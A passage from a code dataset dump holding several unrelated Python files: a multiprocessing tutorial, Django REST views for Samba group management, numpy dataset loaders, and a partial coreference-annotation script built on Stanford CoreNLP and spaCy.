directly\\n\")\n n -= 1\n fs.close()\n finally:\n lock.release()\n\n\nif __name__ == \"__main__\":\n lock = multiprocessing.Lock()\n file = \"ReadFiles/LockTest.txt\"\n w = multiprocessing.Process(target=worker_with, args=(lock, file))\n nw = multiprocessing.Process(target=worker_no_with, args=(lock, file))\n w.start()\n nw.start()\n print('End!')\n\n\n# MultiProcess Semaphore\n# Semaphore 用来控制对共享资源的访问数量，例如池的最大连接数。\ndef work_semaphore(s, interval):\n s.acquire()\n print(multiprocessing.current_process().name + 'acquired')\n time.sleep(interval)\n print(multiprocessing.current_process().name + 'release')\n s.release()\n\n\nif __name__ == '__main__':\n semaphore = multiprocessing.Semaphore(3)\n for i in range(5):\n p = multiprocessing.Process(target=work_semaphore, args=(semaphore, 1))\n p.start()\n\n\n# running result:\n###########################################\n\n# Process-4acquired\n# Process-6acquired\n# Process-5acquired\n\n# Process-4release\n# Process-7acquired\n\n# Process-6release\n# Process-3acquired\n\n# Process-5release\n# Process-7release\n# Process-3release\n\n###########################################\n\n\n# Event\n# Event用来实现进程间同步通信。\n\n# 全局定义了一个“ Flag ”，如果“ Flag ”值为 False，那么当程序执行 event.wait 方法时就会阻塞\n# 如果“ Flag ”值为True，那么 event.wait 方法时便不再阻塞。\n# clear ：将“Flag”设置为False\n# set ：将“Flag”设置为True\ndef wait_for_event(e):\n print('Wait for event : start')\n # 一直等待 到 Flag 为 true\n e.wait()\n print('Wait for event : do.........')\n print('Wait for event : e.is_set() -> %s' % (str(e.is_set())))\n\n\ndef wait_for_timeout(e, t):\n print('Wait for timeout : start')\n # wait for t seconds and then timeout\n e.wait(t)\n print('Wait for timeout : do.........')\n print('Wait for timeout : e.is_set() -> %s' % str(e.is_set()))\n\n\nif __name__ == '__main__':\n e = multiprocessing.Event()\n w1 = multiprocessing.Process(target=wait_for_event, args=(e,))\n w2 = multiprocessing.Process(target=wait_for_timeout, args=(e, 2))\n w1.start()\n w2.start()\n time.sleep(3)\n e.set()\n print('main : event is set')\n\n\n# running result:\n###########################################\n\n# Wait for event : start\n# Wait for timeout : start\n# Wait for timeout : do.........\n# Wait for timeout : e.is_set() -> False\n# main : event is set\n# Wait for event : do.........\n# Wait for event : e.is_set() -> True\n\n###########################################\n\n\n# Queue\n# Queue 是多进程安全的队列，可以使用 Queue 实现多进程之间的数据传递。\n#\n# put 方法用以插入数据到队列中，put 方法还有两个可选参数： blocked 和timeout\n# 如果 blocked 为 True（默认值），并且 timeout 为正值，该方法会阻塞 timeout 指定的时间，直到该队列有剩余的空间\n# 如果超时，会抛出 Queue.Full 异常。如果 blocked 为 False，但该 Queue 已满，会立即抛出 Queue.Full 异常。\n#\n# get 方法可以从队列读取并且删除一个元素 , get方法有两个可选参数：blocked和timeout\n# 如果 blocked 为 True（默认值），并且 timeout 为正值，那么在等待时间内没有取到任何元素，会抛出 Queue.Empty 异常\n# 如果 blocked 为 False，有两种情况存在，如果 Queue 有一个值可用，则立即返回该值，否则，如果队列为空，则立即抛出 Queue.Empty 异常\n\ndef write_pro(q):\n print('Process to write : %s' % os.getpid())\n for value in ['A', 'B', 'C']:\n print('put %s into queue' % value)\n q.put(value)\n start = time.time()\n time.sleep(random.random() * 2)\n end = time.time()\n print('write process runs %s seconds' % (end - start))\n\n\ndef read_pro(q):\n print('Process to read : %s' % os.getpid())\n while True:\n value = q.get(True)\n print('get %s from queue' % value)\n\n\nif __name__ == '__main__':\n q = multiprocessing.Queue()\n write = multiprocessing.Process(target=write_pro, args=(q,))\n read = multiprocessing.Process(target=read_pro, args=(q,))\n write.start()\n read.start()\n # 等待 write 结束\n write.join()\n print('write end')\n # read 进程里是死循环，无法等待其结束，只能强行终止\n read.terminate()\n print('read end')\n\n\n# running result:\n###########################################\n\n# Process to write : 2316\n# Process to read : 2248\n# put A into queue\n# get A from queue\n# write process runs 0.6520373821258545 seconds\n# put B into queue\n# get B from queue\n# write process runs 0.36802101135253906 seconds\n# put C into queue\n# get C from queue\n# write process runs 1.2410709857940674 seconds\n# write end\n# read end\n\n###########################################\n\n\n# Pipe\n# Pipe 方法返回 (conn1, conn2) 代表一个管道的两个端\n# Pipe 方法有 duplex 参数，如果 duplex 参数为 True (默认值)，那么这个管道是全双工模式，也就是说 conn1 和 conn2 均可收发\n# duplex 为 False，conn1 只负责接受消息，conn2 只负责发送消息。\n#\n# send 和 recv 方法分别是发送和接受消息的方法\n# 例如，在全双工模式下，可以调用 conn1.send 发送消息，conn1.recv 接收消息\n# 如果没有消息可接收，recv 方法会一直阻塞。如果管道已经被关闭，那么 recv 方法会抛出 EOFError。\n\ndef send_pro(pipe):\n while True:\n for i in range(1000000):\n print('send %s' % i)\n pipe.send(i)\n time.sleep(1)\n\n\ndef rec_pro(pipe):\n while True:\n print('receive :', pipe.recv())\n time.sleep(1)\n\n\nif __name__ == '__main__':\n pipe = multiprocessing.Pipe()\n\n print(dir(pipe[0]))\n print(dir(pipe[1]))\n\n send = multiprocessing.Process(target=send_pro, args=(pipe[0],))\n rec = multiprocessing.Process(target=rec_pro, args=(pipe[1],))\n\n send.start()\n rec.start()\n\n send.join()\n rec.join()\n\n# running result:\n###########################################\n\n# send 0\n# receive : 0\n# send 1\n# receive : 1\n# ... ... ...\n# send 1616\n# receive : 1616\n# send 1617\n# receive : 1617\n# send 1618\n# receive : 1618\n\n###########################################\n","sub_path":"P_12_MultiProcessing.py","file_name":"P_12_MultiProcessing.py","file_ext":"py","file_size_in_byte":6896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651364474","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom .serializers import grpmgmtserializer, grpmembersserializer\nfrom rest_framework.response import Response\nfrom .models import grpmgmt, grpmembers\nfrom rest_framework import status\nimport coreapi, coreschema\nfrom rest_framework.schemas import AutoSchema, ManualSchema\nfrom rest_framework.decorators import api_view, renderer_classes,permission_classes, schema\n\nfrom sambaAPI.services.GrpService import GrpService\nfrom sambaAPI.services.connection import ConnectionService\n\n\n\ncustom_schema = AutoSchema(manual_fields=[coreapi.Field(\"name\",required=True,location=\"form\",schema=coreschema.String()), \n\tcoreapi.Field(\"description\",required=True,location=\"form\",schema=coreschema.String()),\n\tcoreapi.Field(\"container\",required=True,location=\"form\",schema=coreschema.String()),\n\t])\n\n\ncreate_schema = AutoSchema(manual_fields=[coreapi.Field(\"name\",required=True,location=\"form\",schema=coreschema.String()),\n coreapi.Field(\"description\",required=True,location=\"form\",schema=coreschema.String()),\n coreapi.Field(\"container\",required=True,location=\"form\",schema=coreschema.String()),\n\tcoreapi.Field(\"mail_id\",required=True,location=\"form\",schema=coreschema.String()),\n#\tcoreapi.Field(\"group_type\",required=True,location=\"form\",schema=coreschema.String()),\n\tcoreapi.Field(\"notes\",required=True,location=\"form\",schema=coreschema.String()),\n ])\n\nadd_members_schema = AutoSchema(manual_fields=[coreapi.Field(\"groupname\", required=True,location=\"form\",schema=coreschema.String()),\n\tcoreapi.Field(\"listofnames\",required=True,location=\"form\",schema=coreschema.String()),\n\t])\n\n#list_members_schema = AutoSchema(manual_fields=[coreapi.Field(\"name\",required=True,location=\"form\",schema=coreschema.String()),\n#\t])\n\nremove_members_schema = AutoSchema(manual_fields=[coreapi.Field(\"groupname\", required=True,location=\"form\",schema=coreschema.String()),\n\tcoreapi.Field(\"listofnames\",required=True,location=\"form\",schema=coreschema.String()),\n\t])\n\n\n\n@api_view(['GET'])\ndef list(request, format=None):\n response = GrpService(ConnectionService('exza')).list()\n grps = []\n if response.data is None:\n print(response.description)\n return Response(response.description, status=response.status)\n for msg in response.data:\n print(msg)\n grp = grpmgmt()\n grp.name = msg.get('name')\n grp.description = msg.get('description')\n grp.container = msg.get('dn')\n grp.group_type = msg.get('group_type')\n grp.group_scope = msg.get('group_scope')\n grp.mail_id = msg.get('mail')\n grp.notes = msg.get('info')\n grps.append(grp)\n serializer = grpmgmtserializer(grps, many=True)\n return Response(serializer.data,status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n#@schema(list_members_schema)\ndef list_members(request, name, format=None):\n response = GrpService(ConnectionService('exza')).list_members(name=name)\n if response.data is None:\n print(response.description)\n return Response(response.description, status=response.status)\n mems = []\n for msg in response.data:\n gm = grpmembers()\n gm.name = msg.get('name')\n mems.append(gm)\n print(response.description, response.status)\n serializer = grpmembersserializer(mems, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\n@api_view(['POST'])\n@schema(create_schema)\ndef create(request, format=None):\n print(request.data)\n gp = grpmgmt()\n if request.data != {}:\n if request.data['name'] != '':\n gp.name = request.data['name']\n else:\n return Response(\"group_name should not be empty\",status=status.HTTP_400_BAD_REQUEST)\n# if request.data['description'] != '':\n gp.description = request.data['description']\n# else:\n# return Response(\"description should not be empty\", status=status.HTTP_400_BAD_REQUEST)\n if request.data['container'] != '':\n gp.container = request.data['container']\n else:\n return Response(\"container should not be empty\", status=status.HTTP_400_BAD_REQUEST)\n# gp.group_type = request.data['group_type']\n gp.mail_id = request.data['mail_id']\n gp.notes = request.data['notes']\n else:\n return Response(\"Invalid request\", status=status.HTTP_400_BAD_REQUEST)\n response = GrpService(ConnectionService('exza')).create(grp=gp,request=request.data)\n return Response(response.description,response.status)\n\n\n@api_view(['DELETE'])\ndef delete(request, name, format=None):\n print(\"In delete: \" + name)\n response = GrpService(ConnectionService('exza')).delete(name=name)\n return Response(response.description, response.status)\n #return Response(\"In Tesing\")\n\n@api_view(['POST'])\n@schema(add_members_schema)\ndef add_members(request, format=None):\n gp = grpmgmt()\n if request.data != {}:\n if request.data['groupname'] != '':\n if request.data['listofnames'] != '':\n response = GrpService(ConnectionService('exza')).add_members(request=request.data)\n else:\n return Response(response.description, response.status)\n else:\n return Response(response.description, response.status)\n else:\n return Response(response.description, response.status)\n return Response(response.description, response.status)\n\n@api_view(['DELETE'])\n@schema(remove_members_schema)\ndef remove_members(request, format=None):\n if request.data != {}:\n if request.data['groupname'] != '':\n if request.data['listofnames'] != '':\n response = GrpService(ConnectionService('exza')).remove_members(request=request.data)\n else:\n return Response(response.description, response.status)\n else:\n return Response(response.description, response.status)\n else:\n return Response(response.description, response.status)\n return Response(response.description, response.status)\n\n@api_view(['GET'])\ndef show(request, name, format=None):\n response = GrpService(ConnectionService('exza')).show(name=name)\n grps = []\n for msg in response.data:\n print(msg)\n grp = grpmgmt()\n grp.name = msg.get('name')\n grp.description = msg.get('description')\n grp.container = msg.get('dn')\n grp.group_type = msg.get('group_type')\n grp.group_scope = msg.get('group_scope')\n grp.mail_id = msg.get('mail')\n grp.notes = msg.get('info')\n grps.append(grp)\n serializer = grpmgmtserializer(grps, many=True)\n return Response(serializer.data, response.status)","sub_path":"sambaAPI/groupmgt/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476089922","text":"import numpy as np\n\n\ndef load_dataset(save_file, labels_present=True):\n \"\"\"Read data set from file.\n\n :param save_file:\n :return:\n - data points as array of shape (2, number of points)\n - labels as array. empty array is labels_present is False.\n \"\"\"\n f = open(save_file, 'r')\n points = []\n labels = []\n for line in f:\n proper_line = line.split(\"\\n\")[0]\n str_list = proper_line.split(\" \")\n points.append([float(str_list[0]), float(str_list[1])])\n if labels_present:\n label = float(str_list[2])\n labels.append(label)\n f.close()\n points = np.vstack(points)\n labels = np.array(labels)\n return points, labels\n\n\ndef center(data):\n mean = np.mean(data, axis=0)\n return data - mean\n\n\ndef standardize(data):\n \"\"\"Makes variance along all axis equal.\n\n :param data: CENTERED data\n :return: standardized data.\n \"\"\"\n variance = np.var(data, axis=0)\n return data / variance\n\n\ndef load_standard_dataset(save_file, labels_present=True):\n data, labels = load_dataset(save_file, labels_present)\n data = center(data)\n data = standardize(data)\n return data, labels\n\n\ndef load_standard_dataset_with_bias(save_file, labels_present=True):\n data, labels = load_standard_dataset(save_file, labels_present)\n data = np.hstack([data, np.ones((len(data), 1))])\n return data, labels\n\n\ndef load_dataset_with_bias(save_file, labels_present=True):\n data, labels = load_dataset(save_file, labels_present)\n data = np.hstack([data, np.ones((len(data), 1))])\n return data, labels\n","sub_path":"tools/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"410940640","text":"from stanfordcorenlp import StanfordCoreNLP\r\nfrom termcolor import colored\r\nimport json\r\nimport sys\r\nimport os\r\nimport string\r\nimport re\r\nfrom gender import GenderRecoginition\r\nimport spacy\r\nimport copy\r\nimport shutil\r\nimport math\r\nimport multiprocessing\r\nimport nltk\r\nfrom nltk.tokenize.treebank import TreebankWordDetokenizer\r\nfrom mycorenlp import MyCoreNLP\r\n\r\nALLOWED_PARALLEL_PROCESS = 8\r\nMAX_SENTENCES_IN_ONE_DOCUMENT = 30\r\nREMOVE_TAG = \"#remove#\"\r\nPRONOUNS = {'singular':\r\n {'female': {'subj': 'she', 'obj': 'her', 'possadj': 'her', 'posspro': 'hers', 'reflx': 'herself'},\r\n 'male': {'subj': 'he', 'obj': 'him', 'possadj': 'his', 'posspro': 'his', 'reflx': 'himself'},\r\n 'neutral': {'subj': 'it', 'obj': 'it', 'possadj': 'its', 'posspro': 'its', 'reflx': 'itself'}\r\n },\r\n 'plural':\r\n {'female': {'subj': 'they', 'obj': 'them', 'possadj': 'their', 'posspro': 'theirs',\r\n 'reflx': 'themselves'},\r\n 'male': {'subj': 'they', 'obj': 'them', 'possadj': 'their', 'posspro': 'theirs', 'reflx': 'themselves'},\r\n 'neutral': {'subj': 'they', 'obj': 'them', 'possadj': 'their', 'posspro': 'theirs',\r\n 'reflx': 'themselves'}\r\n }\r\n }\r\nAll_PRONOUNS = ['I', 'me', 'my', 'mine', 'myself', 'you', 'your', 'yours', 'yourself', 'he', \\\r\n 'him', 'his', 'himself', 'she', 'her', 'hers', 'herself', 'it', 'its', 'itself', \\\r\n 'we', 'us', 'our', 'ours', 'ourselves', 'they', 'them', 'their', 'themselves']\r\n\r\n# the machine which runs StanfordCoreNLPServer\r\nUKP_SERVER = 'http://krusty.ukp.informatik.tu-darmstadt.de'\r\nUKP_SERVER_NED = \"http://ned.ukp.informatik.tu-darmstadt.de\"\r\nLOCALHOST = \"http://localhost\"\r\n\r\n\r\n# Use Spacy to identify NER\r\nclass SpacyNLP:\r\n def __init__(self):\r\n self.nlp = spacy.load('en_core_web_sm')\r\n\r\n def ents(self, text):\r\n ent_list = []\r\n doc = self.nlp(text)\r\n\r\n for ent in doc.ents:\r\n ent_list.append((ent.text, ent.label_))\r\n # print(\"Space:\", ent_list)\r\n return ent_list\r\n\r\n\r\n# given a certain index, find the corresponding dependent parsing result\r\ndef find_deparse_with_index(index, deparses):\r\n index += 1 # deparse result does not have index 0, only 1...length(deparses)\r\n for deparse in deparses:\r\n if deparse[2] == index:\r\n return deparse\r\n else:\r\n continue\r\n\r\n return deparses[0]\r\n\r\n\r\ndef chunks(l, n):\r\n # Yield successive n-sized chunks from l\r\n for k in range(0, len(l), n):\r\n yield l[k:k + n]\r\n\r\n\r\n# get the corresponding pronoun with the given information.\r\ndef get_personal_pronoun(deparse_label, gender, number):\r\n if deparse_label in ('nsubj', 'nsubjpass', 'xsubj'):\r\n key = 'subj'\r\n elif deparse_label in ('dobj', 'iobj', 'pobj'):\r\n key = 'obj'\r\n elif deparse_label == 'poss':\r\n key = 'possadj'\r\n else: # get the object form of the pronoun by default\r\n key = 'obj'\r\n return PRONOUNS[number][gender][key]\r\n\r\n\r\n# @entity is a tuple like this: ('Florence', 'CITY') or ('Ptolemy', 'PERSON'), or ('Lucy Green', 'PERSON'),\r\ndef replace_ner(entity, ner_label, postag, deparse, index):\r\n gender = 'neutral' if ner_label != 'PERSON' or postag[1] != 'NNP' \\\r\n else GenderRecoginition().gender_identify(entity.upper(), False)\r\n number = 'plural' if postag[1] == 'NNS' or postag[1] == 'NNPS' else 'singular'\r\n pronoun = get_personal_pronoun(deparse[0], gender, number)\r\n\r\n if index == 0:\r\n pronoun = string.capwords(pronoun)\r\n return pronoun\r\n\r\n\r\ndef update_pronoun(final_result, start_word_id, length, pronoun, ner_ids):\r\n final_result[start_word_id][3] = pronoun\r\n final_result[start_word_id][4] = \"PRP\"\r\n ner_ids[start_word_id] = ner_ids[start_word_id] + ')' if ner_ids[start_word_id][-1] != ')' else ner_ids[start_word_id]\r\n for j in range(1, length):\r\n if ner_ids[start_word_id+j] != '-' and ner_ids[start_word_id+j] != ner_ids[start_word_id]:\r\n ner_ids[start_word_id] = ner_ids[start_word_id] + '|' + str(ner_ids[start_word_id+j])\r\n final_result[start_word_id+j][3] = REMOVE_TAG\r\n\r\n #ner_ids[start_word_id] = ner_ids[start_word_id].replace('-', '({}'.format(ner_id)) \\\r\n # if ner_ids[start_word_id] == '-' else ner_ids[start_word_id] + '|(' + str(ner_id)\r\n\r\n\r\ndef generate_conll_style_output(sentence, sid, doc_id, part, final_result, dcoref):\r\n sta_nlp = MyCoreNLP()\r\n # part: _part 002 or _part 011\r\n part_number = int(part[7:])\r\n tokens = sta_nlp.word_tokenize(sentence)\r\n poss = sta_nlp.pos_tag(sentence)\r\n assert(len(tokens) == len(poss))\r\n ner_ids = ['-']*len(tokens)\r\n\r\n for i in range(len(tokens)):\r\n # stanford word tokenize do not identify \"1 1/2\" as two token but one token\r\n token = tokens[i].replace(\" \", \"-\")\r\n pos = poss[i][1]\r\n line_element = [doc_id, part_number, '-', token, pos, '*', '-', '-', '-', '-', '*', '-']\r\n final_result.append(line_element)\r\n\r\n for id, mentions in dcoref.items():\r\n # a mention is like this (2, 1, 3, 'The city'), sentence id starts from 1,\r\n for mention in mentions:\r\n if mention[0] == sid + 1:\r\n update_ner_id(ner_ids, mention[1]-1, mention[2]-mention[1], id, mention[-1], sid, dcoref)\r\n\r\n return ner_ids\r\n\r\n\r\ndef dcoref_record(doc, doc_id):\r\n sta_nlp = MyCoreNLP()\r\n coref_id = 0\r\n dcoref_dict = {}\r\n try:\r\n #dcoref = sta_nlp.dcoref(\" \".join(ss))\r\n dcoref = sta_nlp.dcoref(doc)\r\n except BaseException as e:\r\n print(\"Time out when call stanford dcoref annotator in \", doc_id)\r\n #print(doc)\r\n #raise e\r\n else:\r\n for coref_chain in dcoref:\r\n dcoref_dict[coref_id] = coref_chain\r\n coref_id += 1\r\n\r\n #print(\"dcoref:\", dcoref_dict)\r\n return dcoref_dict\r\n\r\n\r\n# generate an output CoNLL file for every document.\r\ndef output(ss, dict_n, doc_id, part, file_path, doc):\r\n # if ss is empty, simply return\r\n if not ss:\r\n return\r\n fo = open(file_path, 'w')\r\n fo.write(\"#begin document (\"+doc_id+\"); \"+part[1:])\r\n annotated_ner = []\r\n replaced_ner = []\r\n np_id = {\"id\": len(dict_n)}\r\n dcoref = dcoref_record(doc, doc_id+part)\r\n for sentence in ss:\r\n try:\r\n # this assumes that there will not be two identical sentences\r\n if sentence == \" \":\r\n continue\r\n final_result = []\r\n ner_ids = generate_conll_style_output(sentence, ss.index(sentence), doc_id, part, final_result, dcoref)\r\n self_labeling(sentence, ss.index(sentence), dict_n, annotated_ner, np_id, replaced_ner, final_result, ner_ids, dcoref, fo)\r\n except BaseException as e:\r\n print(colored(e, 'green'))\r\n print(colored((\"found exception in sentence: \" + sentence, \"should not happen very offen\"), 'green'))\r\n #raise e\r\n else:\r\n continue\r\n fo.write(\"\\n#end document\")\r\n fo.close()\r\n\r\n\r\n# get all the named entities in a given sentence\r\ndef get_ner_in_sentence(sid, dict_n):\r\n ner_in_sentence = {}\r\n for key, value in dict_n.items():\r\n if sid in value['sId']:\r\n ner_in_sentence[key] = value\r\n return ner_in_sentence\r\n\r\n\r\ndef identity_ner_in_dcoref(ner, start_index, sid, dcoref):\r\n for coref_id, mentions in dcoref.items():\r\n for mention in mentions:\r\n # pronoun and named entity should be treated differently\r\n if mention[-1].lower() in All_PRONOUNS:\r\n if ner.lower() == mention[-1].lower() and sid == mention[0]-1:\r\n if start_index == mention[1] - 1:\r\n return coref_id\r\n else:\r\n #if ner.lower() == mention[-1].lower():\r\n if ner.lower().strip(\"the \") == mention[-1].lower().strip(\"the \") or \\\r\n ner.lower().strip(\"the \") == mention[-1].lower()[:-2]:\r\n return coref_id\r\n return None\r\n\r\n\r\n# add the coreference annotation, i.e., ner id\r\ndef update_ner_id(ner_ids, start_word_id, length, ner_id, ner, sid, dcoref, replace_flag=False):\r\n # check if this named entity is already annotated in dcoref\r\n new_id = identity_ner_in_dcoref(ner, start_word_id, sid, dcoref)\r\n ner_id = new_id if new_id is not None else ner_id + len(dcoref)\r\n\r\n end_word_id = start_word_id + length - 1\r\n # to deal with the case that sentence in dcoref is longer than the existing one\r\n if start_word_id > len(ner_ids) - 1 or end_word_id > len(ner_ids) - 1:\r\n return\r\n\r\n # check if there already exists an annotation for this mention\r\n if ner_ids[start_word_id] != '-' and ner_ids[end_word_id] != '-':\r\n if any(ner_id == int(old_id) for old_id in re.findall(\"\\d+\", ner_ids[start_word_id])) and \\\r\n any(ner_id == int(old_id) for old_id in re.findall(\"\\d+\", ner_ids[end_word_id])):\r\n return\r\n\r\n if ner_ids[start_word_id] == '-':\r\n ner_ids[start_word_id] = ner_ids[start_word_id].replace('-', '({}'.format(ner_id))\r\n else:\r\n #if not any(ner_id == int(old_id) for old_id in re.findall(\"\\d+\", ner_ids[start_word_id])):\r\n ner_ids[start_word_id] = ner_ids[start_word_id] + '|(' + str(ner_id)\r\n\r\n if not replace_flag:\r\n if end_word_id != start_word_id:\r\n if ner_ids[end_word_id] == '-':\r\n ner_ids[end_word_id] = ner_ids[end_word_id].replace('-', '{})'.format(ner_id))\r\n else:\r\n #if not any(ner_id == int(old_id) for old_id in re.findall(\"\\d+\", ner_ids[end_word_id])):\r\n ner_ids[end_word_id] = ner_ids[end_word_id] + '|' + str(ner_id) + ')'\r\n else:\r\n ner_ids[end_word_id] = str(ner_ids[end_word_id]) + ')'\r\n\r\n\r\n# replace existing possessive entity appearing more than once with possessive pronoun.\r\ndef update_possesive(result, dict_n, sid, replaced_flag):\r\n for i in range(len(result)):\r\n if result[i][3] == \"'s\" and result[i][-1] == \"-\":\r\n former_index = i - 1\r\n former = result[former_index][3]\r\n if former.lower() == 'he' or former.lower() == 'him':\r\n pronoun = 'his'\r\n elif former.lower() == 'she' or former.lower() == 'her':\r\n pronoun = 'her'\r\n elif former.lower() == 'it':\r\n pronoun = 'its'\r\n # if this entity is the first time appear, may result in a pronoun before mention\r\n elif former.lower() in dict_n and sid != dict_n[former.lower()][\"sId\"][0] and not replaced_flag and \\\r\n len(dict_n[former.lower()][\"sId\"]) > 1 and result[former_index][-1] == '-':\r\n label = dict_n[former.lower()][\"label\"]\r\n gender = 'neutral' if label != 'PERSON' else GenderRecoginition().gender_identify(former.upper(), False)\r\n pronoun = get_personal_pronoun(\"poss\", gender, \"singular\")\r\n result[former_index][-1] = \"(\"+str(dict_n[former.lower()][\"nerId\"])+\")\"\r\n else:\r\n continue\r\n result[i][3] = REMOVE_TAG\r\n result[former_index][4] = \"PRP$\"\r\n replaced_flag = True\r\n\r\n # if this entity is the first word of the sentence, the first letter of pronoun should be capital\r\n if former_index == 0:\r\n pronoun = string.capwords(pronoun)\r\n else:\r\n pronoun = remove_the_before_pronoun(result, former_index, pronoun)\r\n\r\n result[former_index][3] = pronoun\r\n\r\n\r\ndef remove_the_before_pronoun(result, pronoun_index, pronoun):\r\n # the lowercase it ensures this \"it\" wont be the first token, so former_index wont be less than zero\r\n if pronoun_index > 1:\r\n former_index = pronoun_index - 1\r\n former = result[former_index][3]\r\n if former.lower() == \"the\":\r\n result[former_index][3] = REMOVE_TAG\r\n # if ner id of token 'the' is not '-', then it may be something like this (3\r\n ner_id = result[former_index][-1]\r\n if ner_id != '-':\r\n result[pronoun_index][-1] = ner_id if result[pronoun_index][-1] == '-' else result[pronoun_index][-1] + '|' + ner_id\r\n # if former token \"the\" is the first word of the sentence, the first letter of pronoun should be capital\r\n if former_index == 0:\r\n pronoun = string.capwords(pronoun)\r\n return pronoun\r\n\r\n\r\ndef identity_nested_relation_dcoref(ner, srt, lth, sid, dcoref):\r\n for mentions in dcoref.values():\r\n for mention in mentions:\r\n if sid == mention[0]-1 and ner in mention[-1]:\r\n if srt >= mention[1]-1 and (srt+lth) < mention[2]-1:\r\n return mention[-1]\r\n elif srt > mention[0]-1 and (srt+lth) <= mention[2]-1:\r\n return mention[-1]\r\n else:\r\n pass\r\n return None\r\n\r\n\r\n# check if some ne is nested inside other longer named entities, eg: \"Central European\" in \"Central European Time\"\r\ndef identify_nested_relation(ne, srt, lth, ner_in_sentence_pos):\r\n for start, length, ner, value in ner_in_sentence_pos:\r\n if ne in ner:\r\n if srt >= start and (srt+lth) < (start+length):\r\n return [(start, length, ner, value)]\r\n elif srt > start and (srt+lth) <= (start+length):\r\n return [(start, length, ner, value)]\r\n else:\r\n pass\r\n return None\r\n\r\n\r\n# get all the named entities that appear more than once in a sentence\r\ndef get_ner_to_mark(exist_ner_with_pos):\r\n ner_to_mark = []\r\n for start, length, ner, value in exist_ner_with_pos:\r\n # if this ner appears only once, no need to annotation\r\n if len(value['sId']) <= 1:\r\n continue\r\n # if this ner appears more than once, need to mark or replace with pronoun\r\n else:\r\n ner_to_mark.append((start, length, ner, value))\r\n\r\n return ner_to_mark\r\n\r\n\r\n# a helper function for find_possessive_pronoun\r\ndef add_result(rst_dict, start, np_len, possessive_idx):\r\n if start not in rst_dict.keys():\r\n rst_dict[start] = {\"len\": np_len, \"prp_indices\": [possessive_idx]}\r\n else:\r\n rst_dict[start][\"prp_indices\"].append(possessive_idx)\r\n\r\n\r\n# given the possessive pronoun and possible noun phrase tree, check whether PRP$ and np match\r\ndef check_possessive_pronoun_number(possprn, np_tree):\r\n head_word = find_head_word(np_tree)\r\n if head_word is not None:\r\n index = np_tree.leaves().index(head_word[0])\r\n else:\r\n index = len(np_tree.leaves()) - 1\r\n head_word = [np_tree.leaves()[-1]]\r\n\r\n head_position = np_tree.leaf_treeposition(index)\r\n head_tree = np_tree[head_position[:-1]]\r\n # if the noun phrase is a pronoun, donot mark\r\n if head_tree.label() == \"PRP\":\r\n return False\r\n\r\n if head_tree.label() == \"NNS\" or head_tree.label() == \"NNPS\":\r\n if possprn == \"their\":\r\n return True\r\n else:\r\n if possprn in PRONOUNS['singular']['male'].values():\r\n if GenderRecoginition().gender_identify(head_word[0].upper(), False) == \"male\":\r\n return True\r\n elif possprn in PRONOUNS['singular']['female'].values():\r\n if GenderRecoginition().gender_identify(head_word[0].upper(), False) == \"female\":\r\n return True\r\n else:\r\n if possprn != \"their\":\r\n return True\r\n\r\n return False\r\n\r\n\r\n# find possessive pronouns and the matching noun phrases step2\r\ndef find_possessive_pronoun(tree, dparses, rst_dict, ner_ids, clause_idx=0, subj_idx=0):\r\n subj_token_index = -1\r\n poss_indices = []\r\n if len(tree.leaves()) != len(dparses):\r\n return None\r\n\r\n for dparse in dparses:\r\n if dparse[0] in ('nsubj', 'nsubjpass', 'xsubj'):\r\n # dependency parse starts from 1\r\n subj_token_index = dparse[2] - 1\r\n break\r\n\r\n for dparse in dparses:\r\n if dparse[0] in (\"nmod:poss\", \"poss\"):\r\n possessive_index = dparse[2] - 1\r\n # there may be multiple possesive pronouns in one sentence, should find all of them.\r\n if possessive_index > 0 and ner_ids[possessive_index] == '-':\r\n poss_indices.append(possessive_index)\r\n\r\n leaves = tree.leaves()\r\n for possessive_index in poss_indices:\r\n possessive_position = tree.leaf_treeposition(possessive_index)\r\n possessive_pronoun = tree.leaves()[possessive_index]\r\n prp_tree = tree[possessive_position[:-1]]\r\n if prp_tree.label() == \"PRP$\":\r\n offset = 1\r\n if leaves[possessive_index-1] == \"and\" and possessive_index >= 2:\r\n left_position = tree.leaf_treeposition(possessive_index - 2)\r\n if tree.leaves()[possessive_index-2] == ',':\r\n np_tree = tree[left_position[:-1]].left_sibling()\r\n offset += 1\r\n else:\r\n np_tree = tree[left_position[:-2]]\r\n\r\n if np_tree.label() == \"NP\":\r\n np = np_tree.leaves()\r\n start = possessive_index - len(np) - offset + clause_idx + subj_idx\r\n if start in range(0, possessive_index):\r\n if check_possessive_pronoun_number(possessive_pronoun, np_tree):\r\n add_result(rst_dict, start, len(np), possessive_index+clause_idx+subj_idx)\r\n\r\n # and_position = tree.leaf_treeposition(possessive_index-1)\r\n # left = tree[and_position[:-1]].left_sibling()\r\n # if left is not None and left.label() == \"NP\":\r\n # np = left.leaves()\r\n # start = possessive_index - len(np) - 1 + clause_idx + subj_idx\r\n # add_result(rst_dict, start, len(np), possessive_index+clause_idx+subj_idx)\r\n\r\n elif subj_token_index != -1 and subj_token_index < possessive_index:\r\n subj_position = tree.leaf_treeposition(subj_token_index)\r\n # find the nearest NP of subject\r\n subj_tree = tree[subj_position[:-2]]\r\n if subj_tree.label() == \"NP\":\r\n np = subj_tree.leaves()\r\n # if the subject token repeats in the noun phrase, there may be a wrong annotation\r\n for i in range(len(np)):\r\n if np[i] == tree.leaves()[subj_token_index]:\r\n start = subj_token_index - i + clause_idx + subj_idx\r\n break\r\n # solved the problem when prp$ not part of a VP\r\n #vb_tree = tree[possessive_position[:2]]\r\n #if vb_tree.label() == \"VP\":\r\n if check_possessive_pronoun_number(possessive_pronoun, subj_tree):\r\n add_result(rst_dict, start, len(np), possessive_index+clause_idx+subj_idx)\r\n else:\r\n break\r\n return rst_dict\r\n\r\n\r\n# find possessive pronouns and the matching noun phrases step1\r\ndef mark_possesive_pronoun(tree, dparses, nlp, ner_ids):\r\n rst_dict = {}\r\n clause_start_index, clause_len = find_clause(tree, nlp)\r\n # 